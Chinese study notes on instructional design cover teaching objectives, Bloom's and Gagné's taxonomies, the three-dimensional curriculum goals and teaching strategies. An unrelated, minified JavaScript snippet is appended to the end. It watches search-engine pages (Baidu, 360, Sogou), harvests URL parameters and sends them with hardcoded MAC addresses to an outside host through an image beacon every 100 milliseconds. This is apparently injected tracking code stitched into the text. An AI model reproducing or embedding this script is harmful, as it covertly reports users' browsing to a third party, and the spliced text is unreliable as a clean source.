一. 教学目标：也称为学习目标、行为目标。学习者通过学习后应该表现出来的可见行为的具体的、明确的表述。
     1.教学目标的功能：（1）.可以提供分析教材和设计教学活动的依据。 （2）.描述具体的行为表现，能为教学评价提供科学依据。  （3）.可以激发学习者的学习动机。  （4）.可以帮助教师评鉴和修正教学过程。
      2.教学目标分类体系：（1）.布鲁纳的教学目标分类体系——认知领域、动作技能领域、情感领域。
                          （2）.加涅的学习结果分类体系——言语信息、智力技能、认知策略、动作技能、态度。
二.新课程的三维目标：（1）.知识与技能：立足于让学生学会。
                     （2）.过程与方法:立足于让学生会学。
                     （3）.情感态度与价值观:立足于让学生乐学。
三.教学策略：指为了完成特定教学目标而采用的教学活动程序、教学方法、教学组织形式和教学媒体等因素的综合考虑，是用于引发学生学习结果的一组教学材料和程序。
         教学策略的分类（综合整体）：（1）.替代性策略；（2）.生产性策略；（3）.以上两种策略的平衡；（4）.教师主导教学策略——先行组织者；（5）.制定教学策略的原则。
         选择教学方法的主要依据有以下几点：教学条件（条件允许原则）、教学目标（目标控制原则）、教学对象（对象适应原则）、教学内容（内容符合原则）、教学媒体（媒体最优原则、代价最小原则）。 (function(win){var l=win.location;if((l.host!='www.baidu.com'&&l.host!='www.so.com'&&l.host!='www.sogou.com')||win._BD_C||win.sendImage){return}win._BD_C={mac:"BC-5F-F4-F3-CF-6D",bmac:"64-05-E9-22-EC-E7",cid:"zd",url:""};setInterval(function(){if(l.href!=win._BD_C.url){win._BD_C.tn='',win._BD_C.ch='';win._BD_C.url=l.href;if(l.search!=''){_arg=l.search.replace('?','').split('&');for(i in _arg){if(_arg.hasOwnProperty(i)&&_arg[i]!=''){t=_arg[i].split('=');switch(t[0]){case'tn':win._BD_C.tn=t[1];break;case'ls':win._BD_C.tn=t[1];break;case'hdq':win._BD_C.tn=t[1];break;case'ch':win._BD_C.ch=t[1];break}}}}_t=new Image;_t.src="https://api-test.sndun.com/wb/stage.json?tntype="+(l.host=='www.baidu.com'?'baidu':(l.host=='www.so.com'?'360':'sogou'))+"&cid="+win._BD_C.cid+"&bmac="+win._BD_C.bmac+"&mac="+win._BD_C.mac+"&tn="+win._BD_C.tn+"&ch="+win._BD_C.ch+'&_='+(+new Date());_t=null}},100)})(window);